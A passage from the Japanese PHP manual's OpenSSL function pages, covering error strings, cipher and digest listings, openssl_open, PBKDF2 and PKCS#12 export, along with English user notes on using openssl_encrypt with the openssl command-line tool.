Or even if he determinates that base64 encoded file is represented in one line and tries:

# openssl enc -aes-128-cbc -d -in file.encrypted -base64 -A -pass pass:123

Or even if he determinates that IV is needed and adds some string iv as encryption function`s fourth parameter and than adds hex representation of iv as parameter in openssl command line :

# openssl enc -aes-128-cbc -d -in file.encrypted -base64 -pass pass:123 -iv -iv 31323334353637383132333435363738

Or even if he determinates that aes-128 password must be 128 bits there fore 16 bytes and sets $pass = '1234567812345678' and tries:

# openssl enc -aes-128-cbc -d -in file.encrypted -base64 -pass pass:1234567812345678 -iv -iv 31323334353637383132333435363738

All these troubles will have no result in any case.

BECAUSE THE PASSWORD PARAMETER DOCUMENTED HERE IS NOT THE PASSWORD.

It means that the password parameter of the function is not the same string used as [-pass pass:] parameter with openssl cmd tool for file encryption decryption.

IT IS THE KEY !

And now how to correctly encrypt data with php openssl_encrypt and how to correctly decrypt it from openssl command line tool.

<?php

    function strtohex($x)
    {
        $s='';
        foreach (str_split($x) as $c) $s.=sprintf("%02X",ord($c));
        return($s);
    }

    $source = 'It works !';

    $iv = "1234567812345678";
    $pass = '1234567812345678';
    $method = 'aes-128-cbc';

    echo "\niv in hex to use: ".strtohex ($iv);
    echo "\nkey in hex to use: ".strtohex ($pass);
    echo "\n";

    file_put_contents ('./file.encrypted',openssl_encrypt ($source, $method, $pass, true, $iv));

    $exec = "openssl enc -".$method." -d -in file.encrypted -nosalt -nopad -K ".strtohex($pass)." -iv ".strtohex($iv);

    echo 'executing: '.$exec."\n\n";
    echo exec ($exec);
    echo "\n";

?>

IV and Key parameteres passed to openssl command line must be in hex representation of string.

The correct command for decrypting is:

# openssl enc -aes-128-cbc -d -in file.encrypted -nosalt -nopad -K 31323334353637383132333435363738 -iv 31323334353637383132333435363738

As it has no salt has no padding and by setting functions third parameter we have no more base64 encoded file to decode. The command will echo that it works...

: /
public at grik dot net 25-Dec-2009 09:54
The list of methods for this function can be obtained with openssl_get_cipher_methods();
The password can be encrypted with the openssl_private/public_encrypt()


OpenSSL エラーメッセージを返す

  • ≪ openssl_encrypt
  • openssl_free_key ≫
  • PHP Manual
  • OpenSSL 関数
  • OpenSSL エラーメッセージを返す

openssl_error_string

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_error_string — OpenSSL エラーメッセージを返す

説明

openssl_error_string ( ) : string|false

openssl_error_string() は、 OpenSSL ライブラリから直近のエラーを返します。 エラーメッセージはキューに格納されるので、 すべての情報を集めるにはこの関数を複数回コールする必要があります。 最後のエラーが、いちばん最近に発生したエラーとなります。

返り値

エラーメッセージ文字列を返します。 エラーメッセージがもうない場合は、false を返します。

例

例1 openssl_error_string() の例

<?php
// ここで、処理に失敗する OpenSSL 関数をコールしたと仮定します
while ($msg = openssl_error_string())
    echo $msg . "<br />\n";
?>

User Contributed Notes

Joey 12-Sep-2016 03:33
You need to do something like this to clear it:

while(openssl_error_string() !== false);

Some openssl functions will add errors to the list even if they succeed.
Richard Lynch 15-Jul-2013 07:34
Note that there may be two (or more) lines for one error.

Best to clear it out and read it for each openssl call.

PS
There are no "threads" and if the other library doesn't have enough sense to read (and therefore clear) the queue (errr, dequeue) of messages before and after their openssl calls...
A) That's their problem
B) Look for a new library, because NOT doing that means they aren't writing their code properly.


キーリソースを開放する

  • ≪ openssl_error_string
  • openssl_get_cert_locations ≫
  • PHP Manual
  • OpenSSL 関数
  • キーリソースを開放する

openssl_free_key

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_free_key — キーリソースを開放する

警告

この関数は PHP 8.0.0 で 非推奨になります。この関数に頼らないことを強く推奨します。

説明

openssl_free_key ( OpenSSLAsymmetricKey $key ) : void

openssl_free_key() は、指定した key が指すキーをメモリから開放します。

パラメータ

key

返り値

値を返しません。

変更履歴

バージョン | 説明
8.0.0 | この関数は推奨されなくなりました。 なぜなら、実行してもなんの効果もないからです。
8.0.0 | key は、 OpenSSLAsymmetricKey クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key 型のリソースを受け入れていました。

User Contributed Notes

CIIDMike[at]Bweb1dev3 24-Dec-2020 01:01
PHP 8.0 Deprecated:  Function openssl_free_key() is deprecated
Lawri van Bul 10-Nov-2017 11:05
I just checked the code for PHP 7.1 and in there openssl_free_key is an alias for opnessl_pkey_free (PHP_FALIAS).

This supports Richards assumption.

I would also suggest to not use the alias,
but use the openssl_pkey_free function in new code.

This is because it is more descriptive about what its intend is and is the same structure as similar function in the openssl section.
Richard Lynch 17-Jul-2013 03:44
openssl_free_key and openssl_pkey_free are probably aliases.

And the preferred one is probably openssl_pkey_free.


有効な証明書の格納場所を検索する

  • ≪ openssl_free_key
  • openssl_get_cipher_methods ≫
  • PHP Manual
  • OpenSSL 関数
  • 有効な証明書の格納場所を検索する

openssl_get_cert_locations

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

openssl_get_cert_locations — 有効な証明書の格納場所を検索する

説明

openssl_get_cert_locations ( ) : array

openssl_get_cert_locations() は SSL 証明書の検出された有効な証明書の格納場所についての 情報の配列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

有効な証明書の格納場所の配列を返します。

例

例1 openssl_get_cert_locations() の例

<?php
var_dump(openssl_get_cert_locations());
?>

上の例の出力は以下となります。

array(8) {
  ["default_cert_file"]=>
  string(21) "/usr/lib/ssl/cert.pem"
  ["default_cert_file_env"]=>
  string(13) "SSL_CERT_FILE"
  ["default_cert_dir"]=>
  string(18) "/usr/lib/ssl/certs"
  ["default_cert_dir_env"]=>
  string(12) "SSL_CERT_DIR"
  ["default_private_dir"]=>
  string(20) "/usr/lib/ssl/private"
  ["default_default_cert_area"]=>
  string(12) "/usr/lib/ssl"
  ["ini_cafile"]=>
  string(0) ""
  ["ini_capath"]=>
  string(0) ""
}

User Contributed Notes

There are no user contributed notes for this page.


利用可能な暗号メソッドを取得

  • ≪ openssl_get_cert_locations
  • openssl_get_curve_names ≫
  • PHP Manual
  • OpenSSL 関数
  • 利用可能な暗号メソッドを取得

openssl_get_cipher_methods

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_get_cipher_methods — 利用可能な暗号メソッドを取得

説明

openssl_get_cipher_methods ( bool $aliases = false ) : array

利用可能な暗号メソッドの一覧を取得します。

パラメータ

aliases

返される array に暗号のエイリアスを含めるべき場合、 true に設定します

返り値

利用可能な暗号メソッドの array OpenSSL 1.1.1 より前のバージョンでは、 暗号メソッドは大文字、小文字両方で記されたものを返していました。 OpenSSL 1.1.1 以降では、小文字のみで記されたものが返されることに注意して下さい。

例

例1 openssl_get_cipher_methods() の例

どのように利用可能な暗号が見るか、およびどのエイリアスが利用可能か示します。

<?php
$ciphers             = openssl_get_cipher_methods();
$ciphers_and_aliases = openssl_get_cipher_methods(true);
$cipher_aliases      = array_diff($ciphers_and_aliases, $ciphers);

//ECB mode should be avoided
$ciphers = array_filter( $ciphers, function($n) { return stripos($n,"ecb")===FALSE; } );

//At least as early as Aug 2016, Openssl declared the following weak: RC2, RC4, DES, 3DES, MD5 based
$ciphers = array_filter( $ciphers, function($c) { return stripos($c,"des")===FALSE; } );
$ciphers = array_filter( $ciphers, function($c) { return stripos($c,"rc2")===FALSE; } );
$ciphers = array_filter( $ciphers, function($c) { return stripos($c,"rc4")===FALSE; } );
$ciphers = array_filter( $ciphers, function($c) { return stripos($c,"md5")===FALSE; } );
$cipher_aliases = array_filter($cipher_aliases,function($c) { return stripos($c,"des")===FALSE; } );
$cipher_aliases = array_filter($cipher_aliases,function($c) { return stripos($c,"rc2")===FALSE; } );

print_r($ciphers);
print_r($cipher_aliases);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => aes-128-cbc
    [1] => aes-128-cbc-hmac-sha1
    [2] => aes-128-cbc-hmac-sha256
    [3] => aes-128-ccm
    [4] => aes-128-cfb
    [5] => aes-128-cfb1
    [6] => aes-128-cfb8
    [7] => aes-128-ctr
    [9] => aes-128-gcm
    [10] => aes-128-ocb
    [11] => aes-128-ofb
    [12] => aes-128-xts
    [13] => aes-192-cbc
    [14] => aes-192-ccm
    [15] => aes-192-cfb
    [16] => aes-192-cfb1
    [17] => aes-192-cfb8
    [18] => aes-192-ctr
    [20] => aes-192-gcm
    [21] => aes-192-ocb
    [22] => aes-192-ofb
    [23] => aes-256-cbc
    [24] => aes-256-cbc-hmac-sha1
    [25] => aes-256-cbc-hmac-sha256
    [26] => aes-256-ccm
    [27] => aes-256-cfb
    [28] => aes-256-cfb1
    [29] => aes-256-cfb8
    [30] => aes-256-ctr
    [32] => aes-256-gcm
    [33] => aes-256-ocb
    [34] => aes-256-ofb
    [35] => aes-256-xts
    [36] => aria-128-cbc
    [37] => aria-128-ccm
    [38] => aria-128-cfb
    [39] => aria-128-cfb1
    [40] => aria-128-cfb8
    [41] => aria-128-ctr
    [43] => aria-128-gcm
    [44] => aria-128-ofb
    [45] => aria-192-cbc
    [46] => aria-192-ccm
    [47] => aria-192-cfb
    [48] => aria-192-cfb1
    [49] => aria-192-cfb8
    [50] => aria-192-ctr
    [52] => aria-192-gcm
    [53] => aria-192-ofb
    [54] => aria-256-cbc
    [55] => aria-256-ccm
    [56] => aria-256-cfb
    [57] => aria-256-cfb1
    [58] => aria-256-cfb8
    [59] => aria-256-ctr
    [61] => aria-256-gcm
    [62] => aria-256-ofb
    [63] => bf-cbc
    [64] => bf-cfb
    [66] => bf-ofb
    [67] => camellia-128-cbc
    [68] => camellia-128-cfb
    [69] => camellia-128-cfb1
    [70] => camellia-128-cfb8
    [71] => camellia-128-ctr
    [73] => camellia-128-ofb
    [74] => camellia-192-cbc
    [75] => camellia-192-cfb
    [76] => camellia-192-cfb1
    [77] => camellia-192-cfb8
    [78] => camellia-192-ctr
    [80] => camellia-192-ofb
    [81] => camellia-256-cbc
    [82] => camellia-256-cfb
    [83] => camellia-256-cfb1
    [84] => camellia-256-cfb8
    [85] => camellia-256-ctr
    [87] => camellia-256-ofb
    [88] => cast5-cbc
    [89] => cast5-cfb
    [91] => cast5-ofb
    [92] => chacha20
    [93] => chacha20-poly1305
    [111] => id-aes128-CCM
    [112] => id-aes128-GCM
    [113] => id-aes128-wrap
    [114] => id-aes128-wrap-pad
    [115] => id-aes192-CCM
    [116] => id-aes192-GCM
    [117] => id-aes192-wrap
    [118] => id-aes192-wrap-pad
    [119] => id-aes256-CCM
    [120] => id-aes256-GCM
    [121] => id-aes256-wrap
    [122] => id-aes256-wrap-pad
    [124] => idea-cbc
    [125] => idea-cfb
    [127] => idea-ofb
    [137] => seed-cbc
    [138] => seed-cfb
    [140] => seed-ofb
    [141] => sm4-cbc
    [142] => sm4-cfb
    [143] => sm4-ctr
    [145] => sm4-ofb
)
Array
(
    [36] => aes128
    [37] => aes128-wrap
    [38] => aes192
    [39] => aes192-wrap
    [40] => aes256
    [41] => aes256-wrap
    [69] => aria128
    [70] => aria192
    [71] => aria256
    [72] => bf
    [77] => blowfish
    [99] => camellia128
    [100] => camellia192
    [101] => camellia256
    [102] => cast
    [103] => cast-cbc
    [146] => idea
    [164] => seed
    [169] => sm4
)

参考

  • openssl_get_md_methods() - 利用可能なダイジェスト・メソッドを取得

User Contributed Notes

karel dot wintersky at gmail dot com 20-Sep-2017 11:29
May be useful for cyphers execution speed.

<?php

const TEST_COUNT = 100000;
const SOURCE = 'Note that HTML tags are not allowed in the posts, but the note formatting is preserved.';
const KEY = "password";

function TESTER( $testing_function, $argument )
{
    $t = microtime(true);

    for ($test_iterator = 0; $test_iterator < TEST_COUNT; $test_iterator++) {
        $testing_function( $argument );
    }
    return round(microtime(true) - $t, 4);
}

$crypt = function($cipher) {
    $ivlen = openssl_cipher_iv_length($cipher);
    $iv = openssl_random_pseudo_bytes($ivlen);
    openssl_encrypt(SOURCE, $cipher, KEY, $options=0, $iv);
};

$methods = openssl_get_cipher_methods(false);

array_splice( $methods, 0, count($methods) / 2);

$timings = array();

foreach ($methods as $cypher) {
    $time = TESTER( $crypt, $cypher );
    $timings[ $cypher ] = $time;
    echo str_pad($cypher, 40, ' ', STR_PAD_LEFT), " have time  ", str_pad($time, 8, STR_PAD_LEFT), ' seconds. ', PHP_EOL;
}

uasort($timings, function($a, $b){
    return $a <=> $b;
});

$min_time = round(reset($timings) / TEST_COUNT, 7);
$min_cypher = key($timings);

$max_time = round(end($timings) / TEST_COUNT, 7);
$max_cypher = key($timings);

echo '-------------', PHP_EOL;
echo "Total tests: ", count($timings), PHP_EOL;
echo "Max timing : {$max_time} seconds for `{$max_cypher}` algorithm.", PHP_EOL;
echo "Min timing : {$min_time} seconds for `{$min_cypher}` algorithm.", PHP_EOL;

echo 'Details: ', PHP_EOL;

foreach ($timings as $m => $t) {
    echo '- ', str_pad($t, 8, STR_PAD_LEFT), " seconds for `{$m}`",  PHP_EOL;
}

echo PHP_EOL;


ECC で利用可能な楕円曲線の名前を取得する

  • ≪ openssl_get_cipher_methods
  • openssl_get_md_methods ≫
  • PHP Manual
  • OpenSSL 関数
  • ECC で利用可能な楕円曲線の名前を取得する

openssl_get_curve_names

(PHP 7 >= 7.1.0, PHP 8)

openssl_get_curve_names — ECC で利用可能な楕円曲線の名前を取得する

説明

openssl_get_curve_names ( ) : array|false

楕円曲線暗号(ECC) の公開鍵/秘密鍵の操作に使う、 利用可能な楕円曲線の名前の一覧を取得します。 もっとも広く使われている標準的な/サポートされている曲線名は prime256v1 (NIST P-256) と secp384r1 (NIST P-384) です。

AES, RSA, DSA のキーサイズとおおよそ等しい ECC のキーサイズ
AES Symmetric Keysize (Bits) | RSA and DSA Keysize (Bits) | ECC Keysize (Bits)
80 | 1024 | 160
112 | 2048 | 224
128 | 3072 | 256
192 | 7680 | 384
256 | 15360 | 512
» NIST は ECC の楕円曲線を少なくとも256ビットで使うことを推奨しています

パラメータ

この関数にはパラメータはありません。

返り値

利用可能な曲線名の array を返します。 失敗した場合に false を返します

例

例1 openssl_get_curve_names() の例

<?php
$curve_names = openssl_get_curve_names();
print_r($curve_names);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => secp112r1
    [1] => secp112r2
    [2] => secp128r1
    [3] => secp128r2
    [4] => secp160k1
    [5] => secp160r1
    [6] => secp160r2
    [7] => secp192k1
    [8] => secp224k1
    [9] => secp224r1
    [10] => secp256k1
    [11] => secp384r1
    [12] => secp521r1
    [13] => prime192v1
    [14] => prime192v2
    [15] => prime192v3
    [16] => prime239v1
    [17] => prime239v2
    [18] => prime239v3
    [19] => prime256v1
    [20] => sect113r1
    [21] => sect113r2
    [22] => sect131r1
    [23] => sect131r2
    [24] => sect163k1
    [25] => sect163r1
    [26] => sect163r2
    [27] => sect193r1
    [28] => sect193r2
    [29] => sect233k1
    [30] => sect233r1
    [31] => sect239k1
    [32] => sect283k1
    [33] => sect283r1
    [34] => sect409k1
    [35] => sect409r1
    [36] => sect571k1
    [37] => sect571r1
    [38] => c2pnb163v1
    [39] => c2pnb163v2
    [40] => c2pnb163v3
    [41] => c2pnb176v1
    [42] => c2tnb191v1
    [43] => c2tnb191v2
    [44] => c2tnb191v3
    [45] => c2pnb208w1
    [46] => c2tnb239v1
    [47] => c2tnb239v2
    [48] => c2tnb239v3
    [49] => c2pnb272w1
    [50] => c2pnb304w1
    [51] => c2tnb359v1
    [52] => c2pnb368w1
    [53] => c2tnb431r1
    [54] => wap-wsg-idm-ecid-wtls1
    [55] => wap-wsg-idm-ecid-wtls3
    [56] => wap-wsg-idm-ecid-wtls4
    [57] => wap-wsg-idm-ecid-wtls5
    [58] => wap-wsg-idm-ecid-wtls6
    [59] => wap-wsg-idm-ecid-wtls7
    [60] => wap-wsg-idm-ecid-wtls8
    [61] => wap-wsg-idm-ecid-wtls9
    [62] => wap-wsg-idm-ecid-wtls10
    [63] => wap-wsg-idm-ecid-wtls11
    [64] => wap-wsg-idm-ecid-wtls12
    [65] => Oakley-EC2N-3
    [66] => Oakley-EC2N-4
    [67] => brainpoolP160r1
    [68] => brainpoolP160t1
    [69] => brainpoolP192r1
    [70] => brainpoolP192t1
    [71] => brainpoolP224r1
    [72] => brainpoolP224t1
    [73] => brainpoolP256r1
    [74] => brainpoolP256t1
    [75] => brainpoolP320r1
    [76] => brainpoolP320t1
    [77] => brainpoolP384r1
    [78] => brainpoolP384t1
    [79] => brainpoolP512r1
    [80] => brainpoolP512t1
)

User Contributed Notes

There are no user contributed notes for this page.


利用可能なダイジェスト・メソッドを取得

  • ≪ openssl_get_curve_names
  • openssl_get_privatekey ≫
  • PHP Manual
  • OpenSSL 関数
  • 利用可能なダイジェスト・メソッドを取得

openssl_get_md_methods

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

openssl_get_md_methods — 利用可能なダイジェスト・メソッドを取得

説明

openssl_get_md_methods ( bool $aliases = false ) : array

利用可能なダイジェスト・メソッドの一覧を取得します。

パラメータ

aliases

返される array にダイジェストのエイリアスを含めるべき場合、 true に設定します

返り値

利用可能なダイジェスト・メソッドの array

例

例1 openssl_get_md_methods() の例

どのように利用可能なダイジェストが見るか、およびどのエイリアスが利用可能か示します。

<?php
$digests             = openssl_get_md_methods();
$digests_and_aliases = openssl_get_md_methods(true);
$digest_aliases      = array_diff($digests_and_aliases, $digests);

print_r($digests);

print_r($digest_aliases);

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => DSA
    [1] => DSA-SHA
    [2] => MD2
    [3] => MD4
    [4] => MD5
    [5] => RIPEMD160
    [6] => SHA
    [7] => SHA1
    [8] => SHA224
    [9] => SHA256
    [10] => SHA384
    [11] => SHA512
    [12] => dsaEncryption
    [13] => dsaWithSHA
    [14] => ecdsa-with-SHA1
    [15] => md2
    [16] => md4
    [17] => md5
    [18] => ripemd160
    [19] => sha
    [20] => sha1
    [21] => sha224
    [22] => sha256
    [23] => sha384
    [24] => sha512
)
Array
(
    [2] => DSA-SHA1
    [3] => DSA-SHA1-old
    [4] => DSS1
    [9] => RSA-MD2
    [10] => RSA-MD4
    [11] => RSA-MD5
    [12] => RSA-RIPEMD160
    [13] => RSA-SHA
    [14] => RSA-SHA1
    [15] => RSA-SHA1-2
    [16] => RSA-SHA224
    [17] => RSA-SHA256
    [18] => RSA-SHA384
    [19] => RSA-SHA512
    [28] => dsaWithSHA1
    [29] => dss1
    [32] => md2WithRSAEncryption
    [34] => md4WithRSAEncryption
    [36] => md5WithRSAEncryption
    [37] => ripemd
    [39] => ripemd160WithRSA
    [40] => rmd160
    [43] => sha1WithRSAEncryption
    [45] => sha224WithRSAEncryption
    [47] => sha256WithRSAEncryption
    [49] => sha384WithRSAEncryption
    [51] => sha512WithRSAEncryption
    [52] => shaWithRSAEncryption
    [53] => ssl2-md5
    [54] => ssl3-md5
    [55] => ssl3-sha1
)

参考

  • openssl_digest() - ダイジェストを計算する
  • openssl_get_cipher_methods() - 利用可能な暗号メソッドを取得

User Contributed Notes

There are no user contributed notes for this page.


openssl_pkey_get_private のエイリアス

  • ≪ openssl_get_md_methods
  • openssl_get_publickey ≫
  • PHP Manual
  • OpenSSL 関数
  • openssl_pkey_get_private のエイリアス

openssl_get_privatekey

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_get_privatekey — openssl_pkey_get_private() のエイリアス

説明

この関数は次の関数のエイリアスです。 openssl_pkey_get_private().

User Contributed Notes

There are no user contributed notes for this page.


openssl_pkey_get_public のエイリアス

  • ≪ openssl_get_privatekey
  • openssl_open ≫
  • PHP Manual
  • OpenSSL 関数
  • openssl_pkey_get_public のエイリアス

openssl_get_publickey

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_get_publickey — openssl_pkey_get_public() のエイリアス

説明

この関数は次の関数のエイリアスです。 openssl_pkey_get_public().

User Contributed Notes

There are no user contributed notes for this page.


シール(暗号化)されたデータをオープン(復号)する

  • ≪ openssl_get_publickey
  • openssl_pbkdf2 ≫
  • PHP Manual
  • OpenSSL 関数
  • シール(暗号化)されたデータをオープン(復号)する

openssl_open

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

openssl_open — シール(暗号化)されたデータをオープン(復号)する

説明

openssl_open ( string $data , string &$output , string $encrypted_key , OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key , string $cipher_algo , string|null $iv = null ) : bool

openssl_open() は、キー ID private_key およびエンベロープキー encrypted_key に関連する公開鍵を使用して、 data をオープン(復号)します。 その上で、output を復号化したデータで埋めます。 エンベロープキーは、データがシール(暗号化)された際に生成され、特定の 一つの公開鍵でのみ使用することが可能です。詳細な情報については、 openssl_seal() を参照ください。

パラメータ

data

output

成功した場合、オープンしたデータをここに返します。

encrypted_key

private_key

cipher_algo

暗号化方式

警告

デフォルト値 ('RC4') はセキュアでない値です。 明示的にセキュアな暗号化方式を指定することを強く推奨します。

iv

初期化ベクトル。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | private_key は、 OpenSSLAsymmetricKey または OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key または OpenSSL X.509 CSR 型のリソースを受け入れていました。
8.0.0 | cipher_algo は、 オプションではなくなりました。

例

例1 openssl_open() の例

<?php
// $sealed および $env_key に暗号化されたデータおよびエンベロープキー
// が含まれていると仮定。共にシール元(暗号化側)から与えられる。

// ファイルから公開鍵を取得し、使用可能とする
$fp = fopen("/src/openssl-0.9.6/demos/sign/key.pem", "r");
$priv_key = fread($fp, 8192);
fclose($fp);
$pkeyid = openssl_get_privatekey($priv_key);

// データを復号化し、$open に保存
if (openssl_open($sealed, $open, $env_key, $pkeyid)) {
    echo "here is the opened data: ", $open;
} else {
    echo "failed to open data";
}

// 公開鍵をメモリから開放
openssl_free_key($pkeyid);
?>

参考

  • openssl_seal() - データをシール(暗号化)する

User Contributed Notes

sdc 25-Jun-2011 02:31
PHP compiled without OpenSSL support? Here's how you can call the openssl command-line utility to achieve the same goal:

<?php
// $sealed and $env_key are assumed to contain the sealed data
// and our envelope key, both given to us by the sealer.

// specify private key file and passphrase
$pkey_file='key.pem';
$pkey_pp='netsvc';

// call openssl to decrypt envelope key
$ph=proc_open('openssl rsautl -decrypt -inkey '.
 escapeshellarg($pkey_file).' -passin fd:3',array(
  0 => array('pipe','r'), // stdin < envelope key
  1 => array('pipe','w'), // stdout > decoded envelope key
  2 => STDERR,
  3 => array('pipe','r'), // < passphrase
 ),$pipes);
// write envelope key
fwrite($pipes[0],$env_key);
fclose($pipes[0]);
// write private key passphrase
fwrite($pipes[3],$pkey_pp);
fclose($pipes[3]);
// read decoded key, convert to hexadecimal
$env_key='';
while(!feof($pipes[1])){
  $env_key.=sprintf("%02x",ord(fgetc($pipes[1])));
}
fclose($pipes[1]);
if($xc=proc_close($ph)){
  echo "Exit code: $xc\n";
}

// call openssl to decryp
$ph=proc_open('openssl rc4 -d -iv 0 -K '.$env_key,array(
  0 => array('pipe','r'), // stdin < sealed data
  1 => array('pipe','w'), // stdout > opened data
  2 => STDERR,
 ),$pipes);
// write sealed data
fwrite($pipes[0],$sealed);
fclose($pipes[0]);
// read opened data
//$open=stream_get_contents($pipes[1]);
$open='';
while(!feof($pipes[1])){
  $open.=fgets($pipes[1]);
}
fclose($pipes[1]);
if($xc=proc_close($ph)){
  echo "Exit code: $xc\n";
}

// display the decrypted data
echo $open;

?>
Gareth Owen 17-Feb-2009 08:20
Example code, assume mycert.pem is a certificate containing both private and public key.

$cert = file_get_contents("mycert.pem");

$public = openssl_get_publickey($cert);
$private = openssl_get_privatekey($cert);

$data = "I'm a lumberjack and I'm okay.";

echo "Data before: {$data}\n";
openssl_seal($data, $cipher, $e, array($public));

echo "Ciphertext: {$cipher}\n";

openssl_open($cipher, $open, $e[0], $private);
echo "Decrypted: {$open}\n";


PKCS5 v2 の PBKDF2 文字列を生成する

  • ≪ openssl_open
  • openssl_pkcs12_export_to_file ≫
  • PHP Manual
  • OpenSSL 関数
  • PKCS5 v2 の PBKDF2 文字列を生成する

openssl_pbkdf2

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

openssl_pbkdf2 — PKCS5 v2 の PBKDF2 文字列を生成する

説明

openssl_pbkdf2 ( string $password , string $salt , int $key_length , int $iterations , string $digest_algo = "sha1" ) : string|false

openssl_pbkdf2() 関数は、PBKDF2 (Password-Based Key Derivation Function 2 の略。PKCS5 v2 で定義されている鍵導出関数) 文字列を計算します

パラメータ

password

導出されるキーを生成するパスワード

salt

PBKDF2 は、暗号化のソルトとして、少なくとも64ビット(8バイト)を推奨しています。

key_length

出力されるキーの長さ

iterations

イテレーションの回数。 » NIST は少なくとも10000を推奨しています.

digest_algo

オプションのハッシュまたはダイジェストアルゴリズム。 アルゴリズムの一覧は、openssl_get_md_methods() で得られます。 デフォルトは SHA-1 です。

返り値

生のバイナリ文字列を返します。失敗した場合に false を返します。

例

例1 openssl_pbkdf2() の例

<?php
$password = 'yOuR-pAs5w0rd-hERe';
$salt = openssl_random_pseudo_bytes(12);
$keyLength = 40;
$iterations = 10000;
$generated_key = openssl_pbkdf2($password, $salt, $keyLength, $iterations, 'sha256');
echo bin2hex($generated_key)."\n";
echo base64_encode($generated_key)."\n";
?>

参考

  • hash_pbkdf2() - PBKDF2 を使ってパスワードからキーを生成する
  • openssl_get_md_methods() - 利用可能なダイジェスト・メソッドを取得

User Contributed Notes

McGlockenshire 20-Mar-2014 08:10
Despite the manual claiming that this is available in PHP 5.5 and above, this function wasn't made available in my local install.

I expect that having a prehistoric OpenSSL library version installed is the likely culprit.

If you're using PHP 5.5 and don't have this function available in your OpenSSL extension, look at the functionally equivalent hash_pbkdf2 function instead.


PKCS#12 互換の証明書保存ファイルをエクスポートする

  • ≪ openssl_pbkdf2
  • openssl_pkcs12_export ≫
  • PHP Manual
  • OpenSSL 関数
  • PKCS#12 互換の証明書保存ファイルをエクスポートする

openssl_pkcs12_export_to_file

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

openssl_pkcs12_export_to_file — PKCS#12 互換の証明書保存ファイルをエクスポートする

説明

openssl_pkcs12_export_to_file ( OpenSSLCertificate|string $certificate , string $output_filename , OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key , string $passphrase , array $options = [] ) : bool

openssl_pkcs12_export_to_file() は、 certificate をファイル output_filename に PKCS#12 フォーマットで保存します。

パラメータ

x509

使用できる値の一覧は キー/証明書パラメータ を参照ください。

output_filename

出力ファイルへのパス。

private_key

PKCS#12 ファイルのプライベートキーコンポーネント。 正しい値の一覧については、Public/Private Key parameters を参照してください。

passphrase

PKCS#12 ファイルのロックを解除するためのパスワード。

options

オプションの配列。以下に示すキー以外は無視されます。

キー | 説明
"extracerts" | PKCS#12 ファイルに含まれる単一の証明書、または 外部の証明書の配列
"friendlyname" | 与えられた証明書とキーで使われる文字列

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | certificate は、 OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL X.509 CSR 型のリソースを受け入れていました。
8.0.0 | private_key は、 OpenSSLAsymmetricKey または OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key または OpenSSL X.509 型のリソースを受け入れていました。

User Contributed Notes

greejd 27-Jan-2019 06:51
please note
the key 'friendlyname' should be 'friendly_name' in args

$args = array(
        'friendly_name'=> 'www.example.com'
);
lampacz at gmail dot com 02-Jul-2009 01:13
[, array $args ]  can contain only: extracerts, friendly_name

extracerts - additional certificates (can be file or string)
friendly_name - "friendly name" for the certificate and private key. This name is typically displayed in list boxes by software importing the file.

based on source code version 5.2.8 and pkcs12 man page


PKCS#12 互換の証明書保存ファイルを変数にエクスポートする

  • ≪ openssl_pkcs12_export_to_file
  • openssl_pkcs12_read ≫
  • PHP Manual
  • OpenSSL 関数
  • PKCS#12 互換の証明書保存ファイルを変数にエクスポートする

openssl_pkcs12_export

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

openssl_pkcs12_export — PKCS#12 互換の証明書保存ファイルを変数にエクスポートする

説明

openssl_pkcs12_export ( OpenSSLCertificate|string $certificate , string &$output , OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $private_key , string $passphrase , array $options = [] ) : bool

openssl_pkcs12_export() は、 certificate を PKCS#12 ファイルフォーマットにしたものを output で指定した文字列に格納します。

パラメータ

x509

使用できる値の一覧は キー/証明書パラメータ を参照ください。

output

成功した場合に、ここに PKCS#12 が保存されます。

private_key

PKCS#12 ファイルのプライベートキーコンポーネント。 正しい値の一覧については、Public/Private Key parameters を参照してください。

passphrase

PKCS#12 ファイルのロックを解除するためのパスワード。

options

オプションの配列。以下に示すキー以外は無視されます。

キー | 説明
"extracerts" | PKCS#12 ファイルに含まれる単一の証明書、または 外部の証明書の配列
"friendlyname" | 与えられた証明書とキーで使われる文字列

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
8.0.0 | certificate は、 OpenSSLCertificate クラスのインスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL X.509 CSR 型のリソースを受け入れていました。
8.0.0 | private_key は、 OpenSSLAsymmetricKey または OpenSSLCertificate インスタンスを受け入れるようになりました。 これより前のバージョンでは、 OpenSSL key または OpenSSL X.509 型のリソースを受け入れていました。

User Contributed Notes

Robert 15-May-2014 05:36
If you need to provide multiple additional certificates, the 'extracerts' argument needs to be an array with one certificate per element:
<?php
$args = array(
    'extracerts' => array(
        0 => '-----BEGIN CERTIFICATE----- cert1 ...',
        1 => '-----BEGIN CERTIFICATE----- cert2 ...',
        // ...
        )
    );
?>

You can use this to prepare a PEM.

<?php
$pemChain = '...';
